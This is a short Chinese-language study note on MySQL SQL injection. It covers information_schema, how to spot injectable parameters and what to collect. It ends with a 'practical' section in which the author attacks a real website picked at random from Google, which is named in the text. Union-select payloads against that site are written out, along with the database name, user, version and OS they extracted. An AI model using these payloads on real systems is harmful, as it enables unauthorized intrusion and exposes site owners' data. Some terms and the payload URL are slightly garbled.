Sql注入之簡要注入
知識點:
1.在mysql5.0以上版本中,mysq1存在一個自帶資料庫名為
information_schema, 它是一個儲存記錄所有資料庫名, 表名,列名的資料庫,
也相當於可以通過查詢它獲取指定資料庫下面的表名或列名資訊。
- 資料庫中符號”.”代表下一級 例如:test.admin test資料庫下的admin表
information_schema.tables :記錄表明資訊的表
Information_schema.columna:記錄所有列名的表
table_name : 表名
columna_name:列名
table_schema:資料庫名
Group_concat (table name) 查詢所有表名
Schema :結構或組織。
Mysql注入
Sql注入原理:
通過拼接惡意程式碼帶入到資料庫進行查詢的操作
Sql注入條件:
- 可控變數:要有一個可以傳遞引數的變數
- 帶入資料庫操作:
- 存在過濾,或過濾不嚴謹
多引數注入
判斷注入點:
通過輸入id=1dadad 不存在的東西,如果dadad被帶入資料庫查詢 則有注入 如果沒有帶入(頁面正常顯示) 則沒有注入
有些網站對輸入的引數進行監測,如果404 或 跳轉頁面 則沒有注入
資訊收集
作業系統
資料庫名
資料庫使用者
資料庫版本
其他(網站路徑等)
資料注入
同資料庫 ()
低版本 暴力查詢
高版本 mysql5.0以上information_schema查詢
高許可權注入
常規查詢
跨庫查詢
檔案讀寫
實戰
Google瀏覽器 隨便找的一個網站
判斷是否存在注入,將引數隨便更改 id值帶入資料庫查詢 存在sql注入。
猜解列明(欄位)數 order by 為9
進行報錯猜解
id=-118 union select 1,2,3,4,5,6,7,8,9 發現 回顯點 3,4
根據上述資訊收集,進行sql注入
資料庫名字:jiuyu_jiuyu database()
資料庫使用者名稱:jiuyu@localhhost user()
資料庫版本為:5.7.34 version()
作業系統:linux @@version_compile_os
查詢指定資料庫下的表名資訊
http://www.diffuser.com.tw/page.php?id=-118unionselect1,2,table_name,4,5,6,7,8,9frominformation_schema.tableswheretable_schema=’jiuyu_jiuyu’
到此為止